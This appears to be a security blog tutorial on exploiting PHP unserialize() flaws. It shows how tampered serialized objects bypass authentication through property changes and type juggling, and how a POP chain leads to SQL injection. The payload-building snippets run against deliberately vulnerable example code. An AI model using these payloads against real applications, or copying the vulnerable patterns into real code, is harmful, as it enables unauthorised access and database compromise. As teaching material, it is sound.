Escalating PHP Deserialization

Don’t despair when you can’t RCE. How to achieve authentication bypass and SQL injection using PHP’s unserialize().

Last time, we talked about how PHP’s unserialize leads to vulnerabilities, and how an attacker can utilize it to achieve RCE.

Today, let’s discuss some of the different ways that an attacker can exploit an unserialize() vulnerability. Even if RCE is not possible, attackers can still use unserialize() vulnerabilities to achieve authentication bypass and SQL injection.

Authentication bypass

Besides RCE, unserialize() issues are often used to bypass authentication controls of an application. There are two ways to do this: by manipulating object properties that are used as access control, and by utilizing type juggling issues to trick an application. Both methods rely on the fact that the end-user can control the object passed into unserialize().

Manipulating object properties to bypass authentication

One of the simplest and most common ways for an attacker to exploit a deserialization flaw is by manipulating object properties to bypass authentication.

class User{
  public $username = "vickie";
  public $type = "Regular User";
  # some more PHP code
}

Let’s say the application utilized a class called User to communicate user info during the signup process. The user will fill out a form, and the information will be communicated to the backend through a serialized User object.

Since the end-user controls the User object, she can simply manipulate the object like so, and register as an admin user.

class User{
  public $username = "vickie";
  public $type = "Admin User";
  # some more PHP code
}

Using type juggling to bypass authentication

Another way that an attacker can achieve an authentication bypass with a deserialization flaw is by exploiting PHP’s type juggling feature. Since the attacker has full control of the object passed into the application, she can control the variable types of the properties of the object.

She can then manipulate the variable type of a property to force PHP to type juggle, thereby bypassing access control. For example, if this is the code used by the application to log in admins:

parse_str($_POST['user_password'], $password_array);
$pw = unserialize($password_array[0]);
if ($pw->password == "Admin_Password") {login_as_admin();}

The attacker can submit a POST body like this to be logged in as admin:

class Password{
  public $password = 0;
  # some more PHP code
}
  # submit this string as POST body:
  print urlencode(serialize(new Password));

This will work because (0 == “Admin_Password”) evaluates to True in PHP. When PHP is made to compare variables of different types, it will try to convert them to a common variable type. In this case, “Admin_Password” will be converted to the integer 0, so (0 == “Admin_Password”) is the same as (0 == 0).

SQL injection

unserialize() vulnerabilities can also lead to SQL injection if conditions permit it. Here’s an example of how it might be exploited. (This example is taken from owasp.org.)

Using POP chains to achieve SQL injection

Let’s say an application does this somewhere in the code: it defines an Example3 class, and it deserializes unsanitized user input from the POST parameter data.

class Example3
{
   protected $obj;

   function __construct()
   {
      // some PHP code...
   }

   function __toString()
   {
      if (isset($this->obj)) return $this->obj->getValue();
   }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

__toString() is a magic function that gets called when a class is treated as a string. In this case, when an Example3 instance is treated as a string, it will return the result of the getValue() method of its $obj property.

And let’s say somewhere in the application the class SQL_Row_Value is also defined. It has a method named getValue() and it executes a SQL query. The SQL query takes input from the $_table property of the SQL_Row_Value instance.

class SQL_Row_Value
{
   private $_table;

   // some PHP code...

   function getValue($id)
   {
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
      $result = mysql_query($sql, $DBFactory::getConnection());
      $row = mysql_fetch_assoc($result);

      return $row['value'];
   }
}

An attacker can then achieve SQL injection by controlling the $obj in Example3: the following code will create an Example3 instance with $obj set to a SQL_Row_Value instant with $_table set to the string “SQL Injection”.

class SQL_Row_Value
{\
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

This way, whenever the attacker’s Example3 instance is treated as a string, it’s $obj’s get_Value() method will be executed. So the SQL_Row_Value’s get_Value() method will be executed with the $_table string set to “SQL Injection”.

The attacker has now achieved limited SQL injection since she can control the string passed into the SQL query ”SELECT * FROM {$this->_table} WHERE id = “ . (int)$id;